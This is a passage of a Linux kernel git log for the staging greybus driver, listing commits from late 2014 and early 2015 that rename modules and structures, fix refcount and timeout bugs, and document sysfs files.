drivers/staging/greybus/gb-es2.c | 618 +++++++++++++++++++++++++++++++++++++++ 2 files changed, 619 insertions(+) commit 2ec515bfff5b13c4efd0d260683b1213f3069ab4 Author: Greg Kroah-Hartman Date: Wed Jan 21 09:47:21 2015 +0800 greybus: es1: no need to assign a variable we return directly In next_free_urb(), just return usb_alloc_urb(), don't waste the time assigning it to a local variable that we then return. Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/gb-es1.c | 4 +--- 1 file changed, 1 insertion(+), 3 deletions(-) commit 580c47d8b4643730be2aef344562953377239ea3 Author: Rui Miguel Silva Date: Tue Jan 20 17:26:18 2015 +0000 greybus: protocol: dedup protocol find code in protocol register replace the protocol find code with the call to the already existing function. Signed-off-by: Rui Miguel Silva Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/protocol.c | 35 ++++++++++------------------------- 1 file changed, 10 insertions(+), 25 deletions(-) commit 0008d9d0ad0a2e854f2f3f61d58cdc44d98760ff Author: Rui Miguel Silva Date: Tue Jan 20 16:38:44 2015 +0000 greybus: es1: release urb on error path if error is return when submiting the urb, we need to make sure to release the urb from the pool, or from the dinamicly allocated. As in it, factor out the free code and create the free_urb function. Signed-off-by: Rui Miguel Silva Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/gb-es1.c | 43 ++++++++++++++++++++++------------------ 1 file changed, 24 insertions(+), 19 deletions(-) commit b976266051569557377ce63984b1562a8651838c Author: Rui Miguel Silva Date: Tue Jan 20 16:31:45 2015 +0000 greybus: es1: remove useless statement just return the result of usb_alloc_urb up, no need to rededunt check for NULL Signed-off-by: Rui Miguel Silva Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/gb-es1.c | 2 -- 1 file changed, 2 deletions(-) commit a1f2e40b1a30c2b8a2dfc40d859550081195b57a Author: Perry Hung Date: Wed Jan 14 16:19:27 2015 -0500 greybus: gb_operation: drop operation refcount on cancel An extra reference is taken out on an operation in gb_operation_request_send(). If the response never arrives, we need to put back the reference. Signed-off-by: Perry Hung Tested-by: Mitchell Tasman Reviewed-by: Alex Elder Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/operation.c | 1 + 1 file changed, 1 insertion(+) commit 7bad4e85b8f988a182cce7949591923e091a509e Author: Perry Hung Date: Wed Jan 14 16:19:26 2015 -0500 greybus: gb_operation: replace timeout workqueue If an operation is issued and the response never comes back, gb_operation_timeout() cancels the operation but never wakes up the waiter in gb_operation_request_send(). This patch removes the timeout workqueue and changes the request wait to wait_for_completion_interruptible_timeout(), with timeout set to OPERATION_TIMEOUT_DEFAULT. Signed-off-by: Perry Hung Reviewed-by: Alex Elder Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/operation.c | 34 +++++++++------------------------- drivers/staging/greybus/operation.h | 1 - 2 files changed, 9 insertions(+), 26 deletions(-) commit 76590b1e882f4c275df695ae0641fb2d059cd9c3 Author: Bill Pemberton Date: Fri Jan 16 13:57:32 2015 -0500 greybus: gpio-gb: remove checks for negative offset variable offset is defined as unsigned so there is no point checking for negative values of offset. Signed-off-by: Bill Pemberton Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/gpio-gb.c | 16 ++++++++-------- 1 file changed, 8 insertions(+), 8 deletions(-) commit 9d677cf604212313f41097e2f542e1923d717086 Author: Bill Pemberton Date: Thu Jan 15 21:18:27 2015 -0500 greybus: Add FIXME warnings for possible NULL dereferences Signed-off-by: Bill Pemberton Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/operation.c | 1 + drivers/staging/greybus/protocol.c | 3 +++ 2 files changed, 4 insertions(+) commit 4e2b07e9ab8f8ddc7f6dbb6617ddb2bc704d15e9 Author: Bill Pemberton Date: Thu Jan 15 21:18:26 2015 -0500 greybus: gb-vibrator: remove useless if in timeout_store() val is an unsigned long so there is no point in checking if it is less than zero. Signed-off-by: Bill Pemberton Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/gb-vibrator.c | 2 -- 1 file changed, 2 deletions(-) commit c86117a8a8b4aaff67a65dc9a415352f48ef45d0 Author: Greg Kroah-Hartman Date: Wed Jan 14 17:08:03 2015 -0800 greybus: Move the es1_ap_desc.c file to Documentation directory This .c file isn't needed by the kernel driver, it's there for firmware developers only, so just move it into the Documentation directory to reduce confusion. Signed-off-by: Greg Kroah-Hartman Reviewed-by: Alex Elder .../staging/greybus/Documentation/es1_ap_desc.c | 70 ++++++++++++++++++++++ drivers/staging/greybus/es1_ap_desc.c | 70 ---------------------- 2 files changed, 70 insertions(+), 70 deletions(-) commit 60a7ad7cae9d095d2de55aac7c05f258f89b0ad5 Author: Greg Kroah-Hartman Date: Wed Jan 14 17:08:02 2015 -0800 greybus: rename es1-ap-usb.ko to gb-es1.ko Use the "gb-" prefix for the ES1 Host controller driver. Signed-off-by: Greg Kroah-Hartman Reviewed-by: Alex Elder drivers/staging/greybus/Makefile | 2 +- drivers/staging/greybus/es1-ap-usb.c | 617 ----------------------------------- drivers/staging/greybus/gb-es1.c | 617 +++++++++++++++++++++++++++++++++++ 3 files changed, 618 insertions(+), 618 deletions(-) commit 347fedb70dfd29a159832a1d6a8b46bfb25b89dd Author: Greg Kroah-Hartman Date: Wed Jan 14 17:08:01 2015 -0800 greybus: rename battery-gb.c to gb-battery.c Use the "gb" prefix for module names, not a suffix. Signed-off-by: Greg Kroah-Hartman Reviewed-by: Alex Elder drivers/staging/greybus/Makefile | 2 +- drivers/staging/greybus/battery-gb.c | 373 ----------------------------------- drivers/staging/greybus/gb-battery.c | 373 +++++++++++++++++++++++++++++++++++ 3 files changed, 374 insertions(+), 374 deletions(-) commit 419a8cf1816a9fa73071e6020847bbb81e4b9cca Author: Greg Kroah-Hartman Date: Wed Jan 14 17:08:00 2015 -0800 greybus: rename vibrator-gb.ko to gb-vibrator.ko Use the "gb" prefix for module names, not a suffix. Signed-off-by: Greg Kroah-Hartman Reviewed-by: Alex Elder drivers/staging/greybus/Makefile | 2 +- drivers/staging/greybus/gb-vibrator.c | 229 ++++++++++++++++++++++++++++++++++ drivers/staging/greybus/vibrator-gb.c | 229 ---------------------------------- 3 files changed, 230 insertions(+), 230 deletions(-) commit 71479f6c6ba19320ff1f5acb74e1a7fd28abd346 Author: Greg Kroah-Hartman Date: Wed Jan 14 17:07:59 2015 -0800 greybus: rename gpbridge.ko to gb-phy.ko This module provides the Bridged PHY protocols, so name the thing properly. Signed-off-by: Greg Kroah-Hartman Reviewed-by: Alex Elder drivers/staging/greybus/Makefile | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) commit 025677def8717bd34dc1b554ade30b3b07626cab Author: Greg Kroah-Hartman Date: Wed Jan 14 14:55:24 2015 -0800 greybus: Makefile: provide install target Provide an install Makefile target for those that want to install the kernel modules. Signed-off-by: Greg Kroah-Hartman -- v3: resend to list, somehow this thread got taken private and v2 never made it there. v2: add -a option to depmod, thanks to Mitchell drivers/staging/greybus/Makefile | 4 ++++ 1 file changed, 4 insertions(+) commit e2ed07f1e6926d5b6da8bc29c1ec552ecdb7085b Author: Alexandre Bailon Date: Wed Jan 14 10:23:49 2015 +0100 greybus: i2c-gb: fix bad message size in gb_i2c The data_in_size variable was set to 1 for the status byte. But now, the status byte has move to header. Then, the status byte is "allocated" twice and cause bad message size error. Signed-off-by: Alexandre Bailon Reviewed-by: Alex Elder Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/i2c-gb.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit 88e70a6846dbc3cb94d3dd2bb488bc743a1f14f1 Author: Greg Kroah-Hartman Date: Tue Dec 23 16:09:26 2014 -0800 greybus: sysfs: put a \n at the end of all sysfs files Right now some sysfs attributes have \n and some do not, so fix that and put \n at the end of all of them to make it easier to parse things properly in userspace. Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/bundle.c | 2 +- drivers/staging/greybus/connection.c | 4 ++-- 2 files changed, 3 insertions(+), 3 deletions(-) commit 23ad7bb96bb59e1f91a95a494cca303a8f7d300a Author: Greg Kroah-Hartman Date: Wed Dec 24 13:12:10 2014 -0800 greybus: protocol: fix oops when no protocol is assigned When removing a connection with no protocol assigned to it, the kernel oopses as we always thought protocols were always there. Fix that problem, oopses are bad. Signed-off-by: Greg Kroah-Hartman Reviewed-by: Alex Elder drivers/staging/greybus/protocol.c | 10 ++++++++-- 1 file changed, 8 insertions(+), 2 deletions(-) commit 7422a1ec2e208762cacd3c3368e6313046b3e3d5 Author: Greg Kroah-Hartman Date: Wed Dec 24 13:01:45 2014 -0800 greybus: protocol: name protocols. We want to be able to "blame" a protocol for things at times, so give them a name we can refer to them by. Announce when they are added or removed from the system so we have a chance to know what is going on in the kernel logs. Signed-off-by: Greg Kroah-Hartman Reviewed-by: Alex Elder drivers/staging/greybus/battery-gb.c | 1 + drivers/staging/greybus/gpio-gb.c | 1 + drivers/staging/greybus/i2c-gb.c | 1 + drivers/staging/greybus/protocol.c | 7 +++++++ drivers/staging/greybus/protocol.h | 1 + drivers/staging/greybus/pwm-gb.c | 1 + drivers/staging/greybus/sdio-gb.c | 1 + drivers/staging/greybus/uart-gb.c | 1 + drivers/staging/greybus/usb-gb.c | 1 + drivers/staging/greybus/vibrator-gb.c | 1 + 10 files changed, 16 insertions(+) commit e5646710c1836abb038415d3009f1c72d6794b77 Author: Greg Kroah-Hartman Date: Wed Dec 24 13:01:46 2014 -0800 greybus: module: get rid of global list of modules Use the list that the driver core keeps of our structure, no need to duplicate it with a local list as well. This gets rid of a static lock too, always a nice thing to do. Signed-off-by: Greg Kroah-Hartman Reviewed-by: Alex Elder drivers/staging/greybus/module.c | 49 ++++++++++++++++++---------------------- drivers/staging/greybus/module.h | 2 -- 2 files changed, 22 insertions(+), 29 deletions(-) commit 2c07817e72450e6fab7b49c3cbb35799bc418880 Author: Greg Kroah-Hartman Date: Wed Dec 24 13:01:44 2014 -0800 greybus: i2c-gb: move i2c protocol into the gpbridge driver The i2c protocol belongs in the gpbridge driver, so move it there. Signed-off-by: Greg Kroah-Hartman Reviewed-by: Alex Elder drivers/staging/greybus/Makefile | 2 +- drivers/staging/greybus/gpb.c | 7 +++++++ drivers/staging/greybus/i2c-gb.c | 10 ++++++++-- drivers/staging/greybus/protocol.h | 3 +++ 4 files changed, 19 insertions(+), 3 deletions(-) commit e1308c1fb675878ace7a489c50b2ae52c598d294 Author: Greg Kroah-Hartman Date: Wed Dec 24 13:01:43 2014 -0800 greybus: gpb: Create a "GP Bridge" kernel module This bundles together the existing GP Bridged PHY protocols that were part of the Greybus core: USB, UART, SDIO, PWM, and GPIO. This is now a stand-alone kernel module. More logic will be moving here in the future to handle bridged devices. Signed-off-by: Greg Kroah-Hartman Reviewed-by: Alex Elder drivers/staging/greybus/Makefile | 9 +++-- drivers/staging/greybus/core.c | 10 ------ drivers/staging/greybus/gpb.c | 70 ++++++++++++++++++++++++++++++++++++++ drivers/staging/greybus/protocol.c | 35 ------------------- drivers/staging/greybus/protocol.h | 3 -- 5 files changed, 76 insertions(+), 51 deletions(-) commit 7dd26263248c6c567c05772959d4d6a21240daa8 Author: Greg Kroah-Hartman Date: Wed Dec 24 13:01:42 2014 -0800 greybus: battery-gb: move the battery protocol out to a stand-alone module This moves the battery class protocol to be a stand-alone kernel module. Signed-off-by: Greg Kroah-Hartman Reviewed-by: Alex Elder drivers/staging/greybus/Makefile | 2 +- drivers/staging/greybus/battery-gb.c | 10 ++-------- drivers/staging/greybus/protocol.c | 5 ----- drivers/staging/greybus/protocol.h | 3 --- 4 files changed, 3 insertions(+), 17 deletions(-) commit 66b676fd88a681b149e98c462e2c0337c2848770 Author: Greg Kroah-Hartman Date: Wed Dec 24 13:01:41 2014 -0800 greybus: vibrator-gb: move vibrator protocol to a stand-alone module. We can't use the gb_protocol_driver() macro here as we need to do some init and exit logic when loading and removing, so "open code" the module init and exit functions. Signed-off-by: Greg Kroah-Hartman Reviewed-by: Alex Elder drivers/staging/greybus/Makefile | 2 +- drivers/staging/greybus/protocol.c | 5 ----- drivers/staging/greybus/protocol.h | 3 --- drivers/staging/greybus/vibrator-gb.c | 9 +++++++-- 4 files changed, 8 insertions(+), 11 deletions(-) commit 12a5dfc9acf690504e7266a8f310702bc9e6872c Author: Greg Kroah-Hartman Date: Wed Dec 24 13:01:40 2014 -0800 greybus: protocol: add a module owner to a protocol Now that protocols can be in a module, we need to reference count them to lock them into memory so they can't be removed while in use. So add a module owner structure, and have it automatically be assigned when registering the protocol. Signed-off-by: Greg Kroah-Hartman Reviewed-by: Alex Elder drivers/staging/greybus/protocol.c | 17 ++++++++++++----- drivers/staging/greybus/protocol.h | 6 +++++- 2 files changed, 17 insertions(+), 6 deletions(-) commit 1b6ea0db016941a0919c17839c1772cceb1955c1 Author: Greg Kroah-Hartman Date: Wed Dec 24 13:01:39 2014 -0800 greybus: bundle: create GB_DEVICE_ID_BAD Use a "name" for when we don't have a valid device id yet, instead of a magic value of 0xff. Reported-by: Alex Elder Signed-off-by: Greg Kroah-Hartman Reviewed-by: Alex Elder drivers/staging/greybus/bundle.c | 4 +++- drivers/staging/greybus/bundle.h | 2 ++ drivers/staging/greybus/connection.c | 2 +- 3 files changed, 6 insertions(+), 2 deletions(-) commit 900ceba9e480f49bb8fef688994b4fbdb1688b77 Author: Greg Kroah-Hartman Date: Tue Dec 23 15:16:54 2014 -0800 greybus: i2c-gb: split out into a stand-alone kernel module. This splits the i2c-gb protocol into a stand-alone kernel module. It's not going to stay in this fashion for long, this was done to test the "can a protcol be loaded later" logic. Future refactoring is going to move the gpbridge protocols to a separate kernel module, where this protocol is going to live. But for now, split it out, it is good to test with, and shows a bug in gbsim at the moment. Reviewed-by: Alex Elder Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/Makefile | 2 +- drivers/staging/greybus/i2c-gb.c | 10 ++-------- drivers/staging/greybus/protocol.c | 5 ----- drivers/staging/greybus/protocol.h | 15 ++++++++++++--- 4 files changed, 15 insertions(+), 17 deletions(-) commit fb69cb506c16d38de2c3b62ea4cf6e8728bd4348 Author: Greg Kroah-Hartman Date: Tue Dec 23 15:16:53 2014 -0800 greybus: protocol: split binding of prototcols to connections out of init When adding a new protocol to the system, walk all bundles and try to hook up any connections that do not have a protocol already. This sets the stage to allow for protocols to be loaded at any time, not just before the device is seen in the system. Reviewed-by: Alex Elder Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/bundle.c | 30 ++++++++++++++++++++++ drivers/staging/greybus/bundle.h | 1 + drivers/staging/greybus/connection.c | 48 ++++++++++++++++++++++++++++-------- drivers/staging/greybus/connection.h | 5 ++++ drivers/staging/greybus/operation.c | 3 +++ drivers/staging/greybus/protocol.c | 6 +++++ 6 files changed, 83 insertions(+), 10 deletions(-) commit df469a942301c9bf4d939e1139c1a435079b288a Author: Greg Kroah-Hartman Date: Tue Dec 23 15:16:52 2014 -0800 greybus: export needed symbols for protocols Protocol handlers need some greybus symbols, so export them so that they can be built outside of the greybus core. Reviewed-by: Alex Elder Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/connection.c | 1 + drivers/staging/greybus/operation.c | 4 ++++ drivers/staging/greybus/protocol.c | 2 ++ 3 files changed, 7 insertions(+) commit 7c7d5b9a942eea5ae450487d47a95c1d0f9a4e64 Author: Greg Kroah-Hartman Date: Tue Dec 23 15:16:51 2014 -0800 greybus: protocol: switch gb_protocol_register() to return an int We will want to return this value as a return value for module_init() and bool does not play well with module_init(). So make it a "real" error value and return int and fix up all callers of the function. Reviewed-by: Alex Elder Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/battery-gb.c | 2 +- drivers/staging/greybus/gpio-gb.c | 2 +- drivers/staging/greybus/i2c-gb.c | 2 +- drivers/staging/greybus/protocol.c | 28 +++++++++++++++------------- drivers/staging/greybus/protocol.h | 20 ++++++++++---------- drivers/staging/greybus/pwm-gb.c | 2 +- drivers/staging/greybus/sdio-gb.c | 2 +- drivers/staging/greybus/uart-gb.c | 2 +- drivers/staging/greybus/usb-gb.c | 2 +- drivers/staging/greybus/vibrator-gb.c | 2 +- 10 files changed, 33 insertions(+), 31 deletions(-) commit 86cad66677942601941c2b516ece2f5741123eda Author: Greg Kroah-Hartman Date: Tue Dec 23 15:16:50 2014 -0800 greybus: interface: remove global manifest_descs list The list was global and had no locking. It's not like we were ever parsing more than one manifest at the same time right now, but we might in the future. And we really want this to be local to the interface itself, for future work redoing how to bind protocols to bundles, so move the list to the interface structure. Reviewed-by: Alex Elder Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/interface.c | 1 + drivers/staging/greybus/interface.h | 1 + drivers/staging/greybus/manifest.c | 39 +++++++++++++++++++------------------ 3 files changed, 22 insertions(+), 19 deletions(-) commit df671553cbe286e885e61b61f8c126e034854a89 Author: Greg Kroah-Hartman Date: Sun Dec 21 14:10:26 2014 -0800 greybus: add module support Modules in the greybus system sit above the interface, so insert them early in the sysfs tree. We dynamically create them when we have an interface that references a module, as we don't get a "module create" message directly. They also dynamically go away when the last interface associated with a module is removed. Naming scheme for modules/interfaces/bundles/connections is bumped up by one ':', and now looks like the following: /sys/bus/greybus $ tree . ├── devices │   ├── 7 -> ../../../devices/pci0000:00/0000:00:14.0/usb1/1-1/7 │   ├── 7:7 -> ../../../devices/pci0000:00/0000:00:14.0/usb1/1-1/7/7:7 │   ├── 7:7:0 -> ../../../devices/pci0000:00/0000:00:14.0/usb1/1-1/7/7:7/7:7:0 │   └── 7:7:0:1 -> ../../../devices/pci0000:00/0000:00:14.0/usb1/1-1/7/7:7/7:7:0/7:7:0:1 ├── drivers ├── drivers_autoprobe ├── drivers_probe └── uevent 6 directories, 3 files /sys/bus/greybus $ grep . devices/*/uevent devices/7/uevent:DEVTYPE=greybus_module devices/7:7/uevent:DEVTYPE=greybus_interface devices/7:7:0/uevent:DEVTYPE=greybus_bundle devices/7:7:0:1/uevent:DEVTYPE=greybus_connection We still have some "confusion" about interface ids and module ids, which will be cleaned up later when the svc control protocol changes die down, right now we just name a module after the interface as we don't have any modules that have multiple interfaces in our systems. This has been tested with gbsim. Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/Makefile | 1 + drivers/staging/greybus/bundle.c | 2 +- drivers/staging/greybus/connection.c | 2 +- drivers/staging/greybus/core.c | 5 +- drivers/staging/greybus/greybus.h | 7 ++ drivers/staging/greybus/interface.c | 23 ++++-- drivers/staging/greybus/interface.h | 3 +- drivers/staging/greybus/kernel_ver.h | 10 +++ drivers/staging/greybus/module.c | 140 +++++++++++++++++++++++++++++++++++ drivers/staging/greybus/module.h | 28 +++++++ 10 files changed, 211 insertions(+), 10 deletions(-) commit 4901175f282792450f899b86b2d5d0048d6c11b2 Author: Greg Kroah-Hartman Date: Fri Dec 19 14:56:37 2014 -0800 greybus: interface: rename gb_modules_lock -> gb_interfaces_lock It's a local interface lock, not a modules lock, so rename it. Reviewed-by: Alex Elder Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/interface.c | 10 +++++----- 1 file changed, 5 insertions(+), 5 deletions(-) commit 1cd56a80969d7c5cfc74d847c6f81cc2ab8dc829 Author: Greg Kroah-Hartman Date: Fri Dec 19 14:56:36 2014 -0800 greybus: greybus_host_device: rename modules -> interfaces This is really a list of interfaces, not modules, so rename it so that we don't get confused when we really do add modules to the whole system later on. Reviewed-by: Alex Elder Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/core.c | 2 +- drivers/staging/greybus/greybus.h | 2 +- drivers/staging/greybus/interface.c | 6 +++--- drivers/staging/greybus/interface.h | 2 +- 4 files changed, 6 insertions(+), 6 deletions(-) commit 13e6aacf60ad6791268238b989a081edfe47e7d2 Author: Greg Kroah-Hartman Date: Fri Dec 19 14:56:35 2014 -0800 greybus: interface: we really are creating/destroying interfaces not modules. rename gb_add_module -> gb_add_interface rename gb_remove_modules -> gb_remove_interfaces rename gb_remove_module -> gb_remove_interface And move the function prototypes to interface.h, where they belong. Reviewed-by: Alex Elder Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/ap.c | 6 +++--- drivers/staging/greybus/core.c | 2 +- drivers/staging/greybus/greybus.h | 7 ------- drivers/staging/greybus/interface.c | 14 +++++++------- drivers/staging/greybus/interface.h | 6 ++++++ 5 files changed, 17 insertions(+), 18 deletions(-) commit 0e51032f381738e3e854febc627936e1c4d8deda Author: Greg Kroah-Hartman Date: Fri Dec 19 14:56:34 2014 -0800 greybus: greybus_id.h: minor typo fixes Align up the BIT() #defines and properly comment the include block define. Reviewed-by: Alex Elder Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/greybus_id.h | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) commit 426fa950595af017f5e96ff8bde972e06605ed34 Author: Greg Kroah-Hartman Date: Fri Dec 19 14:56:33 2014 -0800 greybus: interface.h: remove unused #defines MAX_CPORTS_PER_MODULE and MAX_STRINGS_PER_MODULE are not used anywhere anymore, so remove them lest someone thing we have limits. Signed-off-by: Greg Kroah-Hartman Reviewed-by: Alex Elder drivers/staging/greybus/interface.h | 5 ----- 1 file changed, 5 deletions(-) commit edb0e0b5a17d28c7207197f415c41ab25e75b5d5 Author: Greg Kroah-Hartman Date: Fri Dec 19 14:56:32 2014 -0800 greybus: interface: rename greybus_interface_block_id to greybus_interface_id This moves the id structure name to not have "block" in it, as that doesn't make sense anymore with the renaming of the gb_interface structure. Reviewed-by: Alex Elder Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/core.c | 4 ++-- drivers/staging/greybus/greybus.h | 4 ++-- drivers/staging/greybus/greybus_id.h | 4 ++-- drivers/staging/greybus/interface.c | 6 +++--- drivers/staging/greybus/interface.h | 4 ++-- 5 files changed, 11 insertions(+), 11 deletions(-) commit 4ab9b3c24b009fdc55465977153c5deffd31b0c0 Author: Greg Kroah-Hartman Date: Fri Dec 19 14:56:31 2014 -0800 greybus: interface: s/gb_interface_block/gb_interface/g Rename struct gb_interface_block to struct gb_interface Lots of renaming, and variable renames as well (gb_ib->intf), but all should be sane with regards to the new naming scheme we are using. Reviewed-by: Alex Elder Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/ap.c | 12 +-- drivers/staging/greybus/battery-gb.c | 2 +- drivers/staging/greybus/bundle.c | 33 ++++---- drivers/staging/greybus/bundle.h | 10 +-- drivers/staging/greybus/connection.c | 4 +- drivers/staging/greybus/core.c | 24 +++--- drivers/staging/greybus/greybus.h | 14 +-- drivers/staging/greybus/interface.c | 159 ++++++++++++++++++----------------- drivers/staging/greybus/interface.h | 23 +++-- drivers/staging/greybus/manifest.c | 38 ++++----- drivers/staging/greybus/manifest.h | 4 +- drivers/staging/greybus/svc_msg.h | 9 +- 12 files changed, 165 insertions(+), 167 deletions(-) commit a93938a23d4d0210d06ea106a132bcab491d3885 Author: Greg Kroah-Hartman Date: Fri Dec 19 14:56:30 2014 -0800 greybus: rename interface_block.[c|h] -> interface.[c|h] Interface_block is being renamed to interface, so move the file first. Reviewed-by: Alex Elder Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/Makefile | 2 +- drivers/staging/greybus/greybus.h | 2 +- drivers/staging/greybus/interface.c | 233 ++++++++++++++++++++++++++++++ drivers/staging/greybus/interface.h | 58 ++++++++ drivers/staging/greybus/interface_block.c | 233 ------------------------------ drivers/staging/greybus/interface_block.h | 58 -------- 6 files changed, 293 insertions(+), 293 deletions(-) commit e232b791d5a4c597626fbbd02f613a8a5474d7c4 Author: Greg Kroah-Hartman Date: Fri Dec 19 14:56:29 2014 -0800 greybus: interface_block.c: rename the "interfaces" list "bundles" Alex pointed out one rename I missed previously, this fixes up the interface_block list of bundles name. Reviewed-by: Alex Elder Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/bundle.c | 6 +++--- drivers/staging/greybus/interface_block.c | 2 +- drivers/staging/greybus/interface_block.h | 2 +- 3 files changed, 5 insertions(+), 5 deletions(-) commit 1db0a5ff3a32c78082e7ef0264e71aa8afa3be96 Author: Greg Kroah-Hartman Date: Fri Dec 12 17:10:17 2014 -0500 greybus: bundle: s/gb_interface/gb_bundle/g Rename struct gb_interface to struct gb_bundle It's a lot of renaming, some structures got renamed and also some fields, but the goal was to rename things to make sense with the new naming of how the system is put together in the 'driver model' view. Reviewed-by: Alex Elder Signed-off-by: Greg Kroah-Hartman .../greybus/Documentation/sysfs-bus-greybus | 2 +- drivers/staging/greybus/ap.c | 8 +- drivers/staging/greybus/battery-gb.c | 2 +- drivers/staging/greybus/bundle.c | 155 ++++++++++----------- drivers/staging/greybus/bundle.h | 27 ++-- drivers/staging/greybus/connection.c | 24 ++-- drivers/staging/greybus/connection.h | 8 +- drivers/staging/greybus/core.c | 16 +-- drivers/staging/greybus/greybus.h | 8 +- drivers/staging/greybus/greybus_manifest.h | 4 +- drivers/staging/greybus/interface_block.c | 2 +- drivers/staging/greybus/manifest.c | 40 +++--- 12 files changed, 145 insertions(+), 151 deletions(-) commit f9b1df64a9f98e9c2fe38bec86b11740743e3661 Author: Greg Kroah-Hartman Date: Fri Dec 12 17:10:18 2014 -0500 greybus: es1-ap-usb: don't protest when getting -EPROTO USB errors -EPROTO happens when devices are starting to go away in a system, or there is something wrong on the USB connection. Either way, it's safe to resubmit the urb for this error, don't complain to userspace about this, as the user will see this for every device removed, which looks scary, but means nothing. Signed-off-by: Greg Kroah-Hartman Reviewed-by: Alex Elder drivers/staging/greybus/es1-ap-usb.c | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) commit 3bdec69931d889f2ee5dccafbc8cee6a364bb249 Author: Greg Kroah-Hartman Date: Fri Dec 12 17:10:16 2014 -0500 greybus: bundle: rename interface.[c|h] to bundle.[c|h] We are renameing the "interface" term to "bundle" so rename the files before we start changing structure names to make it easier for people to see what really is happening in the changes. Signed-off-by: Greg Kroah-Hartman Reviewed-by: Alex Elder drivers/staging/greybus/Makefile | 2 +- drivers/staging/greybus/bundle.c | 186 ++++++++++++++++++++++++++++++++++++ drivers/staging/greybus/bundle.h | 35 +++++++ drivers/staging/greybus/greybus.h | 2 +- drivers/staging/greybus/interface.c | 186 ------------------------------------ drivers/staging/greybus/interface.h | 35 ------- 6 files changed, 223 insertions(+), 223 deletions(-) commit a46e96719dc9180e80fe0cb81f4cdd3757b1e9cd Author: Alex Elder Date: Fri Dec 12 12:08:42 2014 -0600 greybus: add Linaro copyrights I was asked to add a Linaro copyright to all Greybus source files that anyone at Linaro has modified. This patch does that. Signed-off-by: Alex Elder Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/ap.c | 1 + drivers/staging/greybus/battery-gb.c | 1 + drivers/staging/greybus/connection.c | 1 + drivers/staging/greybus/connection.h | 1 + drivers/staging/greybus/core.c | 1 + drivers/staging/greybus/debugfs.c | 1 + drivers/staging/greybus/es1-ap-usb.c | 1 + drivers/staging/greybus/gpio-gb.c | 1 + drivers/staging/greybus/greybus.h | 1 + drivers/staging/greybus/greybus_manifest.h | 1 + drivers/staging/greybus/i2c-gb.c | 1 + drivers/staging/greybus/interface.c | 1 + drivers/staging/greybus/interface.h | 1 + drivers/staging/greybus/interface_block.c | 1 + drivers/staging/greybus/interface_block.h | 1 + drivers/staging/greybus/kernel_ver.h | 1 + drivers/staging/greybus/manifest.c | 1 + drivers/staging/greybus/manifest.h | 1 + drivers/staging/greybus/operation.c | 1 + drivers/staging/greybus/operation.h | 1 + drivers/staging/greybus/protocol.c | 1 + drivers/staging/greybus/protocol.h | 1 + drivers/staging/greybus/sdio-gb.c | 1 + drivers/staging/greybus/svc_msg.h | 1 + drivers/staging/greybus/uart-gb.c | 1 + drivers/staging/greybus/usb-gb.c | 1 + drivers/staging/greybus/vibrator-gb.c | 1 + 27 files changed, 27 insertions(+) commit 2f0c8aa4e6710a939da64412da0bdd7bb9aa5557 Author: Greg Kroah-Hartman Date: Thu Dec 11 17:11:02 2014 -0500 greybus: driver matching: Greybus drivers bind to interface blocks, not modules Because of this, rename greybus_module_id to greybus_interface_block_id. We still need to add a way for a "class" driver to be bound to an interface, but for now, all we really need is the vendor/product pair as the GP Bridge interface block is going to be our main user. Reviewed-by: Alex Elder Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/core.c | 4 ++-- drivers/staging/greybus/greybus.h | 4 ++-- drivers/staging/greybus/greybus_id.h | 10 +++++----- drivers/staging/greybus/interface_block.c | 17 +++++++++-------- drivers/staging/greybus/interface_block.h | 5 +++-- 5 files changed, 21 insertions(+), 19 deletions(-) commit 640f13ecc879163dd45c213fbbef8ffc825d95bb Author: Greg Kroah-Hartman Date: Thu Dec 11 17:11:01 2014 -0500 greybus: interface: document sysfs files Yes, an interface has a device id sysfs file, so we need to document it. Reviewed-by: Alex Elder Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/Documentation/sysfs-bus-greybus | 7 +++++++ 1 file changed, 7 insertions(+) commit a500a8a6ef283f47efaddde8c8b7213a76a731c5 Author: Greg Kroah-Hartman Date: Thu Dec 11 17:11:00 2014 -0500 greybus: connection: document the sysfs files Document what the sysfs files are for connections, so that people have a chance to understand what they can be used for. Reviewed-by: Alex Elder Signed-off-by: Greg Kroah-Hartman .../staging/greybus/Documentation/sysfs-bus-greybus | 20 ++++++++++++++++++++ 1 file changed, 20 insertions(+) commit ab88eb58c7a56ded2fd3ec4b9184075ff415cad3 Author: Greg Kroah-Hartman Date: Thu Dec 11 17:10:59 2014 -0500 greybus: interface_block: move sysfs files into the interface_block.c file No need to keep these out in sysfs.c, move them into the interface_block.c file so that we can see them easier, and remove some variable definitions by taking advantage of the attribute group macro. Reviewed-by: Alex Elder Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/Makefile | 1 - drivers/staging/greybus/greybus.h | 1 - drivers/staging/greybus/interface_block.c | 32 ++++++++++++++++-- 